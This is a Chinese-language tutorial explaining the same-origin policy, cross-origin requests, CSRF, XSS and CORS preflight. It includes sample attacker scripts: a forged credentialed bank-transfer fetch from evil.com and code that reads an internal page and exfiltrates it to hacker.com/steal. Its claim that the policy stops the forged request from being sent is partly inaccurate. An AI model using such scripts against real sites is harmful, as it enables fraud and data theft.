同源策略
浏览器要求网页只能访问与自身同源的资源。同源指:
- 协议相同(如
http
和https
不同) - 域名相同(如
a.com
和b.com
不同) - 端口相同(如
:80
和:8080
不同)
跨域
违反同源策略的就是跨域:
http://a.com
→https://a.com
(协议不同)a.com
→api.a.com
(子域名不同)a.com:80
→a.com:8080
(端口不同)
为什么需要跨域限制?
- 安全防护:防止恶意网站通过脚本窃取用户数据(如 Cookie、敏感信息)。
- 隐私保护:限制不同源之间的未授权资源访问。
以下是针对跨域限制的两个核心安全目标的具体例子,帮助理解为什么浏览器需要阻止跨域请求:
1. 安全防护:防止恶意网站窃取用户数据
📌 场景:Cookie 劫持攻击
• 用户行为:
用户登录了正规银行网站 bank.com
,银行在响应中设置了身份验证的 Cookie(如 session_id=abc123
)。
• 恶意网站:
用户随后访问了一个钓鱼网站 evil.com
,该网站内嵌了以下脚本:
// evil.com 的恶意脚本
fetch('https://bank.com/transfer', {
method: 'POST',
body: JSON.stringify({ to: 'hacker', amount: 10000 }),
credentials: 'include' // 尝试携带用户的 bank.com Cookie
});
• 如果没有同源策略:
浏览器会自动将 bank.com
的 Cookie 附加到请求中,恶意网站就能以用户身份完成转账操作。
• 实际保护机制:
同源策略会阻止 evil.com
向 bank.com
发送请求,因为两者不同源。即使请求发出,bank.com
的响应头如果没有明确允许 evil.com
跨域(如 Access-Control-Allow-Origin: evil.com
),浏览器也会拦截响应数据。
2. 隐私保护:限制未授权的资源访问
📌 场景:内网敏感信息泄露
• 用户行为:
某公司内网有一个管理系统 internal.company.com
,无需公开验证即可访问敏感数据(假设内网无额外安全措施)。
• 恶意攻击:
攻击者制作了一个钓鱼邮件,诱导员工访问恶意网站 hacker.com
,该网站尝试通过以下代码窃取内网数据:
// hacker.com 的脚本
fetch('http://internal.company.com/secret-data')
.then(response => response.text())
.then(data => {
// 将数据发送到攻击者服务器
fetch('https://hacker.com/steal', { method: 'POST', body: data });
});
• 如果没有同源策略:
员工的浏览器会直接访问内网系统并返回数据,导致公司内部信息泄露。
• 实际保护机制:
浏览器因同源策略阻止跨域请求,除非 internal.company.com
显式允许 hacker.com
的跨域访问(显然不会)。
其他常见攻击示例
🔸 CSRF(跨站请求伪造)
• 原理:
恶意网站利用用户已登录的 Cookie 发起伪造请求(如通过隐藏表单提交)。
• 同源策略的限制:
虽然同源策略不能完全阻止 CSRF(因为表单提交可以跨域),但配合服务端的 CSRF Token 和浏览器限制跨域 AJAX 请求,能大幅降低风险。
🔸 XSS(跨站脚本攻击)
• 原理:
攻击者注入恶意脚本到正规网站中,窃取用户数据。
• 同源策略的作用:
即使 XSS 攻击成功,恶意脚本也只能访问当前源的数据,无法直接读取其他标签页或 iframe 中不同源的内容(除非目标网站配置了错误的 CORS)。
常见跨域请求类型
- 简单请求(Simple Request)
满足以下条件:
-
- 方法为
GET
、POST
或HEAD
。 - 请求头仅包含
Accept
、Accept-Language
、Content-Language
、Content-Type
(仅限application/x-www-form-urlencoded
、multipart/form-data
、text/plain
)。 - 浏览器直接发送请求,并在响应头中检查
Access-Control-Allow-Origin
。
- 方法为
- 预检请求(Preflight Request)
不满足简单请求条件时(如使用PUT
、Content-Type: application/json
),浏览器会先发送OPTIONS
请求,询问服务器是否允许跨域。
-
- 服务器需响应
Access-Control-Allow-Methods
、Access-Control-Allow-Headers
等头部。
- 服务器需响应